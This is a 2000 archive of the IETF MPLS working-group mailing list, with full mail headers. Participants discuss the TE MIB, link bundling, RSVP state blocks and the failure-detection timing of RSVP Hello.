[INTER_AREA_FWK]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-dharanikota-interarea-mpls-te-ext-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-dharanikota-interarea-mpls-te-ext-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-dharanikota-interarea-mpls-te-ext-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001107081312.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-dharanikota-interarea-mpls-te-ext-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-dharanikota-interarea-mpls-te-ext-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001107081312.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Wed Nov 8 08:46:43 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00080 for ; Wed, 8 Nov 2000 08:46:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoks01639; Wed, 8 Nov 2000 13:44:16 GMT Received: by mail-control.mail.uu.net id QQjoks21771 for mpls-outgoing; Wed, 8 Nov 2000 13:43:41 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoks21761 for ; Wed, 8 Nov 2000 13:43:28 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoks26501 for ; Wed, 8 Nov 2000 13:43:03 GMT Received: from rimmer.orchestream.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.orchestream.com [195.153.64.98]) id QQjoks18681 for ; Wed, 8 Nov 2000 13:43:02 GMT Received: from s1000.orchestream.com (s1000.orchestream.com [192.168.0.16]) by rimmer.orchestream.com (8.9.3/8.9.3) with ESMTP id NAA00848; Wed, 8 Nov 2000 13:39:26 GMT Received: by s1000.orchestream.com with Internet Mail Service (5.5.2650.21) id ; Wed, 8 Nov 2000 13:40:39 -0000 Message-ID: From: "Morgan, Richard" To: "'Thomas D. Nadeau'" , "Morgan, Richard" Cc: mpls@UU.NET Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Wed, 8 Nov 2000 13:40:35 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Excellent sounds like a good idea to me. Rich > -----Original Message----- > From: Thomas D. Nadeau [mailto:tnadeau@cisco.com] > Sent: Thursday, November 02, 2000 7:09 PM > To: Morgan, Richard > Cc: mpls@uu.net > Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt > > > > Hi, > > >On further thought it also occurs to me that a management > system would also > >be interested in a LSP resizing its bandwidth reservation. > > We have added bandwidth resizing as part of > the mplsTunnelRerouted trap in version -05, which > will be out shortly. > > --Tom > > From owner-mpls@UU.NET Wed Nov 8 11:21:42 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19962 for ; Wed, 8 Nov 2000 11:21:42 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjold26299; Wed, 8 Nov 2000 16:18:59 GMT Received: by mail-control.mail.uu.net id QQjold06211 for mpls-outgoing; Wed, 8 Nov 2000 16:18:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjold06172 for ; Wed, 8 Nov 2000 16:18:07 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjold03730 for ; Wed, 8 Nov 2000 16:17:37 GMT Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjold18140 for ; Wed, 8 Nov 2000 16:17:37 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA19144 for ; Wed, 8 Nov 2000 08:17:34 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA25776 for mpls@uu.net; Wed, 8 Nov 2000 11:17:27 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoim18087 for ; Tue, 7 Nov 2000 23:09:09 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoim16304 for ; Tue, 7 Nov 2000 23:09:01 GMT Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alpha.tellium.com [151.198.92.2]) id QQjoim14612 for ; Tue, 7 Nov 2000 23:09:00 GMT Received: from brajalap ([192.168.24.97]) by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with SMTP id eA7N7uE09800; Tue, 7 Nov 2000 18:07:56 -0500 (EST) Message-ID: <028001c0490f$93af2500$1e03a8c0@tellium.com> From: "Bala Rajagopalan" To: "Jim Boyle" Cc: "Kireeti Kompella" , , , "Debanjan Saha" References: Subject: Bundling resolution Date: Tue, 7 Nov 2000 18:08:01 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_027D_01C048E5.AAA3B520" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_027D_01C048E5.AAA3B520 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 Hello,=20 There was a heated debate a while ago about bundling, specifically, pitting draft-kompella-mpls-bundling.... vs draft-rs-optical-bundling-.... As I suspected, there was not much feedback from anyone other than the authors (and a couple of other public-spirited souls). In the trailing end of those discussions, I had pointed out that if LMP (the link management protocol that would presumably run under OSPF) can maintain a=20 single control channel per multiple bundles, it would achieve effectively the same effect accomplished by link groups in our drafts. The present version of LMP doesn't support this. However, the LMP authors are working on supporting this feature. With this feature, the bundling structure proposed in draft-kompella-mpls... will be more acceptable to us. The parameter encodings in this draft are still a bit convoluted (from an optical networking point of view), and if there is any residual energy, we might bring this up for discussion later.=20 The original intent of our document was both to indicate how to create bundles in an optical network with SRLGs, as well as to propose a structure that kept a single adjacency between neighbors with multiple links (or link groups) between them. We'll re-issue our draft to show how all the mechanisms presently in the works (bundling, LMP, OSPF extensions, etc) should be used to achieve the above objectives in the optical network=20 context.=20 Regards, Bala --=20 Bala Rajagopalan=20 Tellium, Inc.=20 2 Crescent Place=20 P.O. Box 901=20 Oceanport, NJ 07757-0901=20 Tel: (732) 923-4237=20 Fax: (732) 923-9804=20 Email: braja@tellium.com=20 =20 ------=_NextPart_000_027D_01C048E5.AAA3B520 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hello,
 
There was a heated debate a while ago about bundling,
specifically, pitting draft-kompella-mpls-bundling....
vs draft-rs-optical-bundling-.... As I suspected, there
was not much feedback from anyone other than the
authors (and a couple of other public-spirited souls).
 
In the trailing end of those discussions, I had pointed
out that if LMP (the link management protocol that
would presumably run under OSPF) can maintain a
single control channel per multiple bundles, it would
achieve effectively the same effect accomplished by
link groups in our drafts. The present version of LMP
doesn't support this. However, the LMP authors are
working on supporting this feature. With this feature,
the bundling structure proposed in draft-kompella-mpls...
will be more acceptable to us.  The parameter encodings
in this draft are still a bit convoluted (from an optical = networking
point of view), and if there is any residual energy,
we might bring this up for discussion later.
 
The original intent of our document was both to
indicate how to create bundles in an optical network
with SRLGs, as well as to propose a structure that
kept a single adjacency between neighbors with multiple
links (or link groups) between them. We'll re-issue our
draft to show how all the mechanisms
presently in the works (bundling, LMP, OSPF extensions, etc)
should be used to achieve the above objectives in the optical = network=20
context.
 
Regards,
 
Bala
 

 

--=20

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box = 901=20
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) = 923-9804=20
Email: braja@tellium.com
 

------=_NextPart_000_027D_01C048E5.AAA3B520-- From owner-mpls@UU.NET Wed Nov 8 11:22:45 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20220 for ; Wed, 8 Nov 2000 11:22:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjold21357; Wed, 8 Nov 2000 16:20:06 GMT Received: by mail-control.mail.uu.net id QQjold06259 for mpls-outgoing; Wed, 8 Nov 2000 16:19:38 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjold06249 for ; Wed, 8 Nov 2000 16:19:26 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjold19264 for ; Wed, 8 Nov 2000 16:18:04 GMT Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjold09612 for ; Wed, 8 Nov 2000 16:18:04 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA00215 for ; Wed, 8 Nov 2000 08:18:03 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA25784 for mpls@uu.net; Wed, 8 Nov 2000 11:18:02 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoky14475 for ; Wed, 8 Nov 2000 15:01:54 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoky21109 for ; Wed, 8 Nov 2000 15:00:27 GMT From: venkir@samsung.co.kr Received: from omail01.samsung.co.kr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjoky05911 for ; Wed, 8 Nov 2000 15:00:26 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id AAA13099; Thu, 9 Nov 2000 00:01:35 +0900 (KST) X-OpenMail-Hops: 2 Date: Thu, 9 Nov 2000 00:00:46 +0900 Message-Id: Subject: About multiple flow descriptors MIME-Version: 1.0 TO: af@datcon.co.uk, mpls@UU.NET Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Wed, 8 Nov 2000 23:56:23 +0900" ;Modification-Date="Thu, 9 Nov 2000 00:00:33 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi Adrian, This is in reference to your answer to Julia on 26 Sep 2000. Here i am having some doubts on multiple flow descriptors in one resv message case. You are telling that a LSR can assign same label or different labels, depend upon hardware support. That's fine. What about RSB (Resv State Block) ?? Actually, in SE case, if the received resv message having multiple flow descriptors, how can i store that information in RSB. What i am thinking is, i have to store complete resv message in one RSB only. Am i right? My main doubt is whether the RSB is for a PSB(Path State Block) or it is for a resv message? If it is first case, it's fine. LSR has to produce different RSBs for different flowspecs in resv message. But if it is the second case, LSR has to produce only one RSB for complete flowspec list. In that case, how can i store different labels for different flowspecs in one RSB? Thanks in advance, Reddy. From owner-mpls@UU.NET Wed Nov 8 12:36:34 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA10144 for ; Wed, 8 Nov 2000 12:36:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoli16491; Wed, 8 Nov 2000 17:33:25 GMT Received: by mail-control.mail.uu.net id QQjoli22662 for mpls-outgoing; Wed, 8 Nov 2000 17:32:59 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoli22657 for ; Wed, 8 Nov 2000 17:32:52 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoli17187 for ; Wed, 8 Nov 2000 17:32:17 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjoli06348 for ; Wed, 8 Nov 2000 17:32:16 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA00245 for ; Wed, 8 Nov 2000 09:32:17 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id MAA25977 for mpls@uu.net; Wed, 8 Nov 2000 12:32:14 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjolh22169 for ; Wed, 8 Nov 2000 17:28:25 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjolh02081 for ; Wed, 8 Nov 2000 17:27:19 GMT Received: from mail.hkwebbank.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [210.177.53.39]) id QQjolh06081 for ; Wed, 8 Nov 2000 17:27:18 GMT Received: from wchancsx (natsvc.juniper.net [207.17.136.130]) by mail.hkwebbank.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 4RJA186Y; Thu, 9 Nov 2000 02:05:19 +0800 Message-ID: <011e01c049a9$02485790$04af0c3f@jnpr.net> From: "Wayne" To: "Adrian Farrel" , , "Charles Smith" Cc: References: <6DEA508A9A0ED31192E80000F6CC176E2CA693@monk.datcon.co.uk> Subject: Re: LSP failure detection Date: Thu, 9 Nov 2000 00:59:49 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I think the RSVP hello is one of the enhancements from a vendor. Not a RFC as the moment. Is that true? Though the hello packet is small, 17.5ms seems a bit aggressive for a large network with a lot of RSVP enabled routers/links. Any thought? Wayne ----- Original Message ----- From: "Adrian Farrel" To: ; "Charles Smith" Cc: Sent: Thursday, November 02, 2000 6:19 AM Subject: RE: LSP failure detection > A couple of observations to add to Curtis' good response. > > >> Can someone please explain the mechanisms involved to detect > >> a node or link failure within a particular LSP? How can MPLS > >> as a technology guarantee < 1 second LSP failure restoration > >> (contrast to SONET)? I need to understand exactly how a > >> failure is detected, how the backup path is activated or how > >> fast re-route directs the LSP around the link or node failure. > >> > >> I am just a marketing guy who has read the drafts and still > >> needs the engineers to explain the concepts :-) > > > >MPLS is not a link layer. MPLS typically runs over POS (PPP over > >SONET). > > "Typically" may be stretching a point :-) > > >In this case you have linear SONET, no protection, but you > >have the capability to detect failure. PPP can also in principle > >provide LQM but in practice no one offers this (yet) because it > >requires (feasible but non-trivial) hardware support to be accurate. > > > >Note that if you run MPLS over 1GbE or 10GbE or other link layer then > >you lose the SONET failure detection. > > > >If you don't have link layer notification of failure then you have IGP > >hello processing and RSVP refresh, both of which are slow. > > There is also RSVP Hello, which is somewhat faster. The "recommended" > value in the draft uses a timer of 5ms and an interval count of 3.5 > giving failure detection in 17.5ms. Not speedy, but not hugely slow. > > >The second part of the two part problem is completing restoration > >after an error is detected. For some implementations of link > >bundling, the bundle of N links now has N-1 capacity and 1) usually no > >immediate restoration is needed, the loss of capacity is signaled and > >any ingress may opt to do a minimally disruptive reroute (using > >make-before-break there is no loss but delay discontinuity and a > >possible brief period of reordering) or 2) if capacity of N-1 is > >insufficient the lowest priority LSP (highest numeric setup priority) > >are preempted. Here you have 1) local-protect as an MPLS feature > >where immediate restoration is initiated at the point of failure and > >the local-protect bit is dropped in the RESV to indicate that > >protection is no longer available because the restoration path is > >being used, 2) PathError messages and IGP adjacency loss sent as > >feedback to the ingress if local-protect is not in use. The ingress, > >having received PathError can use a precomputed and presignaled backup > >if this feature is enabled. The backup should be available if it was > >disjoint and SRLG information was accurate. IGP adjacency loss > >indicates what link is at fault and is used if either there was no > >precomputed backup or the SRLG information was not accurate and the > >backup went down simultaneously. > > Most of this applies only to bundled links, but your second 2) is of > relevance in all cases. Some people consider that PathErr propagation > may be too slow in this case since the message will be handled by the > RSVP code on each intermediate LSR. The new Notify message in > draft-ietf-mpls-generalized-signaling is sent direct to the target > (ingress) LSR and need not be intercepted by intermediate LSRs (and > need not follow the path of the LSP if this is a sub-optimal route). > > This should provide a (slightly?) faster method of propagating LSP > failure information. > > Adrian > -- > Adrian Farrel mailto:af@dataconnection.com > Network Convergence Group > Data Connection Ltd., Chester, UK > http://www.dataconnection.com/ > Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 > > From owner-mpls@UU.NET Wed Nov 8 13:23:08 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA22170 for ; Wed, 8 Nov 2000 13:23:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoll00451; Wed, 8 Nov 2000 18:19:10 GMT Received: by mail-control.mail.uu.net id QQjoll09093 for mpls-outgoing; Wed, 8 Nov 2000 18:18:35 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoll09079 for ; Wed, 8 Nov 2000 18:18:21 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoll11588 for ; Wed, 8 Nov 2000 18:17:42 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjoll28513 for ; Wed, 8 Nov 2000 18:17:42 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA23820 for ; Wed, 8 Nov 2000 13:17:39 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA15425 for ; Wed, 8 Nov 2000 13:17:40 -0500 (EST) Message-ID: <3A0998C3.290D294C@marconi.com> Date: Wed, 08 Nov 2000 13:17:39 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: LSP failure detection References: <6DEA508A9A0ED31192E80000F6CC176E2CA693@monk.datcon.co.uk> <011e01c049a9$02485790$04af0c3f@jnpr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Wayne wrote: > > I think the RSVP hello is one of the enhancements from a vendor. Not a > RFC as the moment. Is that true? Though the hello packet is small, > 17.5ms seems a bit aggressive for a large network with a lot of RSVP > enabled routers/links. It's not part of the RSVP working group at all. It's not vendor-specific, either, however. It's part of the RSVP-TE draft, and is part of the MPLS working group. As for 17.5ms, where do you get that number? I didn't see it in the draft anywhere. I found a 5ms interval, but that's not a requirement - it's a recommended default value for a user-configurable parameter. That aside, 17.5ms isn't that terrible. It's a worst-case of sending 57 hellos per second. This is substantially less overhead than not using hellos. A link with 500 inbound and 500 outbound LSPs, configured with a 30s refresh interval will generate 34 refresh messages per second (17 Path refresh, and 17 Resv refresh). Given that refresh messages are around 100-150 bytes long, and hello messages are 12 bytes long, we're talking about generating 3400-5100 bytes per second for refreshes, vs. 684 bytes per second for hellos. Even with the recommended a 5ms interval (worst-case of 200 messages per second), hellos would still only generate 2400 bytes per second worth of control traffic. And, of course, the amount of bandwidth consumed by hello traffic won't increse as the number of LSPs increases. -- David From owner-mpls@UU.NET Wed Nov 8 14:34:20 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10462 for ; Wed, 8 Nov 2000 14:34:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjolq19792; Wed, 8 Nov 2000 19:33:13 GMT Received: by mail-control.mail.uu.net id QQjolq25867 for mpls-outgoing; Wed, 8 Nov 2000 19:32:39 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjolq25854 for ; Wed, 8 Nov 2000 19:32:20 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjolq03137 for ; Wed, 8 Nov 2000 19:31:08 GMT Received: from cypher.onfiber.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.108.78.2]) id QQjolq14906 for ; Wed, 8 Nov 2000 19:31:08 GMT Received: by cypher.onfiber.com with Internet Mail Service (5.5.2650.21) id ; Wed, 8 Nov 2000 13:31:16 -0600 Message-ID: <2AD266216F4FD41192FC00508BD9378E270275@cypher.onfiber.com> From: Chris Flores To: "'David Charlap'" , mpls@UU.NET Subject: RE: LSP failure detection Date: Wed, 8 Nov 2000 13:31:16 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk ---Original Message----- From: David Charlap [mailto:david.charlap@marconi.com] Sent: Wednesday, November 08, 2000 12:18 PM To: mpls@UU.NET Subject: Re: LSP failure detection -- As for 17.5ms, where do you get that number? I didn't see it in the draft anywhere. I found a 5ms interval, but that's not a requirement - it's a recommended default value for a user-configurable parameter. -- from section 5.3 of 'draft-ietf-mpls-rsvp-lsp-tunnel-07.txt', the default interval for periodically generating Hello messages is 5ms. Furthermore, a node must presume that it cannot communicate with another neighbor if it has not received 3.5 instances of a Request or ACK. Thus, 5ms * 3.5 = 17.5ms. Best regards. Chris From owner-mpls@UU.NET Thu Nov 9 05:13:05 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA15592 for ; Thu, 9 Nov 2000 05:13:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjonw27994; Thu, 9 Nov 2000 10:11:52 GMT Received: by mail-control.mail.uu.net id QQjonw14748 for mpls-outgoing; Thu, 9 Nov 2000 10:11:20 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjonw14674 for ; Thu, 9 Nov 2000 10:11:09 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjonw27804 for ; Thu, 9 Nov 2000 10:10:22 GMT From: neil.2.harrison@bt.com Received: from marvin.axion.bt.co.uk by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82]) id QQjonw03147 for ; Thu, 9 Nov 2000 10:10:22 GMT Received: from cryndent01.mww.bt.com by marvin (local) with ESMTP; Thu, 9 Nov 2000 10:07:59 +0000 Received: by cryndent01.mww.bt.com with Internet Mail Service (5.5.2652.35) id ; Thu, 9 Nov 2000 10:07:48 -0000 Message-ID: To: david.charlap@marconi.com, mpls@UU.NET Subject: RE: LSP failure detection Date: Thu, 9 Nov 2000 10:07:50 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk What is the defect entry criteria on these rapid Hellos? I would strongly suggest that if anyone is thinking of trying to get very fast reactions times to be used for restoration they should be very careful. In my view restoration times above the L1 (ie PDH/SDH/OTN) should not be faster than somewhere in the region of 2-3s.....otherwise you are going to get a lot of unecessary hits when the event would of have self-healed. And if anyone is using some multi-level priority bumping scheme then (esp at highish utilisations) this can lead to significant network disruptions felt far beyoind the initial event source. neil > -----Original Message----- > From: David Charlap [SMTP:david.charlap@marconi.com] > Sent: Wednesday, November 08, 2000 6:18 PM > To: mpls@UU.NET > Subject: Re: LSP failure detection > > Wayne wrote: > > > > I think the RSVP hello is one of the enhancements from a vendor. Not a > > RFC as the moment. Is that true? Though the hello packet is small, > > 17.5ms seems a bit aggressive for a large network with a lot of RSVP > > enabled routers/links. > > It's not part of the RSVP working group at all. It's not > vendor-specific, either, however. It's part of the RSVP-TE draft, and > is part of the MPLS working group. > > As for 17.5ms, where do you get that number? I didn't see it in the > draft anywhere. I found a 5ms interval, but that's not a requirement - > it's a recommended default value for a user-configurable parameter. > > That aside, 17.5ms isn't that terrible. It's a worst-case of sending 57 > hellos per second. This is substantially less overhead than not using > hellos. > > A link with 500 inbound and 500 outbound LSPs, configured with a 30s > refresh interval will generate 34 refresh messages per second (17 Path > refresh, and 17 Resv refresh). Given that refresh messages are around > 100-150 bytes long, and hello messages are 12 bytes long, we're talking > about generating 3400-5100 bytes per second for refreshes, vs. 684 bytes > per second for hellos. Even with the recommended a 5ms interval > (worst-case of 200 messages per second), hellos would still only > generate 2400 bytes per second worth of control traffic. > > And, of course, the amount of bandwidth consumed by hello traffic won't > increse as the number of LSPs increases. > > -- David From owner-mpls@UU.NET Thu Nov 9 06:24:16 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA12390 for ; Thu, 9 Nov 2000 06:24:15 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoob21304; Thu, 9 Nov 2000 11:23:02 GMT Received: by mail-control.mail.uu.net id QQjoob00235 for mpls-outgoing; Thu, 9 Nov 2000 11:22:36 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoob00224 for ; Thu, 9 Nov 2000 11:22:24 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob10358 for ; Thu, 9 Nov 2000 11:22:03 GMT Received: from pilgrim.cisco.com by 